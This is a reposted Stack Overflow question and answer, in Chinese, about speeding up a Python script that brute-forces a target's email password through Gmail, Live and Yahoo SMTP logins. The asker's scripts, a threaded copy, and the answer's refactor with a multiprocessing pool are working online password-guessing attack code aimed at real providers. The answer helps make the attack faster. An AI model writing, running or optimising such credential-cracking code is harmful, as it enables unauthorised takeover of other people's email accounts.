gpt4 book ai didi

Python共享进程或如何进行高效的暴力破解

转载 作者:行者123 更新时间:2023-11-30 23:05:09 25 4
gpt4 key购买 nike

我需要由16个进程共享这个进程。我正在为其购买一 block 并行板,它有 16 个内核,运行速度为 90gflops。

我不会做任何违法的事情。只是为了证明我的观点,即使用 7 位整数的密码对于组织来说太不安全了。我已经解决了,我只是想要一个更好的方法。

这是它的基本工作脚本:

import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass

到目前为止尝试过:

import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)

user = raw_input("Enter the target's email address: ")
def tenth():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('10.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def att():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('9.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atc():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('8.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atk():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('7.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def attack():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('6.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def tr():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('5.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def br():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('4.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def bru():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('3.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def brute():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('2.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def arrgh():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('1.txt', 'r')

for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)

print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()

它的作用是打开多个文本文件。我希望它能够打开一个文本文件并从该文件本身运行多个进程。

最佳答案

首先,如果您不是 I/O 而是 CPU 密集型,则应该使用多处理而不是线程。后者不使用多个核心,它只是有几个控制线程。

<小时/>

其次,由于您使用的是 py2.7,因此您可能想尝试一下 pypy。它运行重复的 Python 代码比标准 CPython 快得多。

<小时/>

第三,理想情况下,您应该使用一个工作池,每个工作池从队列中获取工作项。这会自动为您提供负载平衡和其他功能。在您的情况下,您应该创建一个全局池并让函数将工作推送到它,即使用 multiprocessing.Pool及其 map methods 之一.

您可能应该有一个这样的设置:

import smtplib
import multiprocessing

def test_passwords(passwords):
smtpserver = smtplib.SMTP("totally.privat.server.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
for password in passwords:
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()

workers = multiprocessing.Pool()

def try_my_own_passwords(workers):
worker.map_async(test_passwords, open("my_pws.txt").readlines(), 100)

关于Python共享进程或如何进行高效的暴力破解,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33325146/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com